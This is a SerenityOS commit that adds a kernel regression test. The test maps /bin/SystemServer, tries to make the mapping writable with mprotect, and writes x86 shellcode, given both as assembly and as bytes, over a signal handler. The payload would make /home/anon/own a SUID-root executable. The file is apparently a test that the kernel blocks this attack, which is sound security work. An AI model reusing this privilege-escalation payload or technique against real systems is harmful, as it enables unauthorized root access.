Tests: Establish root Tests directory, move Userland/Tests there

With the goal of centralizing all tests in the system, this is a
first step to establish a Tests sub-tree. It will contain all of
the unit tests and test harnesses for the various components in the
system.

Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp

@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2018-2020, the SerenityOS developers.
+ *
+ * SPDX-License-Identifier: BSD-2-Clause
+ */
+
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+    int fd = open("/bin/SystemServer", O_RDONLY);
+    if (fd < 0) {
+        perror("open");
+        return 1;
+    }
+    u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
+    if (ptr == MAP_FAILED) {
+        perror("mmap");
+        return 1;
+    }
+
+    if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
+        perror("mprotect");
+        return 1;
+    }
+
+    /*
+     *
+     * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
+     * It does two things:
+     *
+     * chown ("/home/anon/own", 0, 0);
+     * chmod ("/home/anon/own", 04755);
+     *
+     * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
+     *
+     */
+
+#if 0
+    [bits 32]
+    [org 0x0804b111]
+    jmp $+17
+    path:
+    db "/home/anon/own", 0
+    mov eax, 79
+    mov edx, path
+    mov ecx, 0
+    mov ebx, 0
+    int 0x82
+    mov eax, 67
+    mov edx, path
+    mov ecx, 15
+    mov ebx, 2541
+    int 0x82
+    ret
+#endif
+
+    const u8 payload[] = {
+        0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
+        0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
+        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
+        0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
+        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
+        0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
+    };
+
+    memcpy(&ptr[0x3111], payload, sizeof(payload));
+
+    printf("ok\n");
+    return 0;
+}